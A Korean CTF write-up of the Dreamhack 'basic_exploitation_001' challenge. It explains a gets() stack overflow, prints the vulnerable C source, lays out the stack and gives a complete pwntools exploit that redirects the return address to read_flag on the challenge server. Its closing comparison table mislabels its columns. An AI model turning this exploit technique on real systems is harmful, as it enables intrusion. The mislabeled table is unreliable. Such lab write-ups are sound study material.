Dreamhack basic_exploitation_001 Write-up
1. 문제 개요
스택 버퍼 오버플로우로 반환 주소(RET)를 덮는 것이 목표다. 이번엔 셸을 따는 함수 대신 cat /flag를 실행해주는 read_flag() 함수가 이미 바이너리 안에 들어있다. 따라서 셸코드를 만들 필요 없이, RET를 read_flag의 주소로 덮기만 하면 플래그가 출력된다.
| out_of_bound | No PIE | OOB 인덱스로 system("/bin/sh") 호출 |
| cmd_center | No Canary | 오버플로우로 인접 변수 변조 + strncmp 우회 |
| rao | No Canary + No PIE | 오버플로우로 RET를 get_shell 주소로 변조 |
| basic_exploitation_000 | No Canary + NX disabled | 셸코드를 주입하고 RET를 buf 주소로 변조 |
| basic_exploitation_001 | No Canary + No PIE | 오버플로우로 RET를 read_flag 주소로 변조 |
rao와 사실상 동일하며, 점프 대상만 get_shell → read_flag로 바뀌었다.
2. 보호기법 분석 (checksec)
Arch: i386-32-little → 32비트, p32 / context.arch="i386"
RELRO: No RELRO
Stack: No canary found → 오버플로우로 RET까지 자유롭게 덮기 가능
NX: NX enabled → 스택 실행 불가 (그러나 이번 풀이엔 무관)
PIE: No PIE (0x8048000) → read_flag 주소 고정
Stripped: No → 심볼 존재, ELF로 read_flag 주소 자동 추출 가능
000과의 결정적 차이 — NX
000은 NX disabled라서 스택에 셸코드를 심고 실행할 수 있었다. 반면 001은 NX enabled다. 스택의 셸코드는 실행되지 않는다.
그런데 이번 풀이는 NX의 영향을 받지 않는다. 셸코드를 스택에 올리지 않고, 이미 코드 영역(실행 권한 있음)에 존재하는 read_flag 함수로 점프만 하기 때문이다. 이것이 "셸코드 주입"과 "함수 재사용"의 핵심 차이다 — NX가 켜지면 전자는 막히지만 후자는 통한다. (NX가 막는 것은 데이터 영역의 코드 실행이지, 원래 코드 영역의 실행이 아니다.)
3. 소스 코드 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag"); // ← 이 함수로 점프하면 플래그 출력
}
int main(int argc, char *argv[]) {
char buf[0x80]; // 128바이트
initialize();
gets(buf); // ← 취약점: 길이 무제한
return 0;
}
취약점 지점
gets(buf)는 입력 길이를 전혀 제한하지 않는다. buf(128바이트)보다 훨씬 긴 입력으로 스택을 넘쳐 RET까지 덮을 수 있다.
000과의 입력 함수 차이
000 001
| 입력 함수 | scanf("%141s") | gets |
| 길이 제한 | 141바이트 | 무제한 |
| 공백 바이트 절단 | 있음 (0x09,0x0a,0x0b,0x0c,0x0d,0x20에서 끊김) | 없음 |
000에서는 scanf가 셸코드 안의 0x0b(execve syscall 번호)에서 입력을 끊어 한참 고생했지만, 001은 gets라서 어떤 바이트든 그대로 다 받는다. 게다가 셸코드 자체가 없으니 공백 바이트 문제 자체가 발생하지 않는다.
4. 스택 레이아웃과 페이로드 설계
disassemble main의 lea eax,[ebp-0x80]에서 buf가 ebp-0x80임을 확인. 32비트 스택 구조:
[ buf (0x80 = 128바이트) ][ SFP (4) ][ RET (4) ]
더미로 채움 더미로 채움 ← read_flag 주소
페이로드 구성:
payload = b"A" * 0x80 # buf 채우기
payload += b"BBBB" # SFP 4바이트 (더미)
payload += p32(read_flag_addr) # RET ← read_flag 주소
000과 달리 NOP sled, 셸코드, %p 주소 수신이 전부 불필요하다. read_flag 주소는 No PIE라 고정이고, 심볼이 남아있어 e.symbols["read_flag"]로 자동 추출했다.
5. 최종 익스플로잇 코드
from pwn import *
context.arch = "i386"
p = remote("host3.dreamhack.games", 23202) # 포트는 문제 페이지 기준
e = ELF("./basic_exploitation_001")
payload = b"A" * 0x80 # buf 채우기
payload += b"BBBB" # SFP
payload += p32(e.symbols["read_flag"]) # RET ← read_flag 주소
p.sendline(payload)
print(p.recvall(timeout=3).decode(errors="replace")) # 플래그 수신
실행 결과:

read_flag가 system("cat /flag")를 실행하므로, 점프 성공과 동시에 플래그가 출력된다. 셸 획득 단계가 없어 000에서 겪은 interactive 타이밍 문제도 없었다 — recvall로 한 번에 받으면 끝.
6. 한 줄 요약과 배운 점
gets로 인한 스택 버퍼 오버플로우로 RET를 덮어, 바이너리에 이미 존재하는 read_flag()(system("cat /flag")) 함수로 실행 흐름을 넘겨 플래그를 획득했다.
000 vs 001 정리
| 001 | 000 | |
| 점프 대상 | 직접 주입한 셸코드 | 이미 있는 read_flag |
| NX | disabled (스택 실행 가능) | enabled (그러나 무관) |
| buf 주소 | %p로 받아 RET에 사용 | 알 필요 없음 |
| RET 값 | buf 주소 (매번 바뀜, ASLR) | read_flag 주소 (고정) |
| 입력 함수 | scanf("%141s") (공백 절단) | gets (무제한) |
| 셸코드 | 필요 (공백 바이트 회피 고생) | 불필요 |
| 결과 | 셸 획득 → cat flag | 즉시 플래그 출력 |
| 체감 난이도 | 높음 | 낮음 |
'CTF' 카테고리의 다른 글
| SINT (0) | 2026.06.27 |
|---|---|
| Basic_Exploitation 000 (0) | 2026.06.17 |
| Return Address Overwrite (0) | 2026.06.17 |
| Out of Bounds (0) | 2026.06.17 |
| shellcode (0) | 2026.06.17 |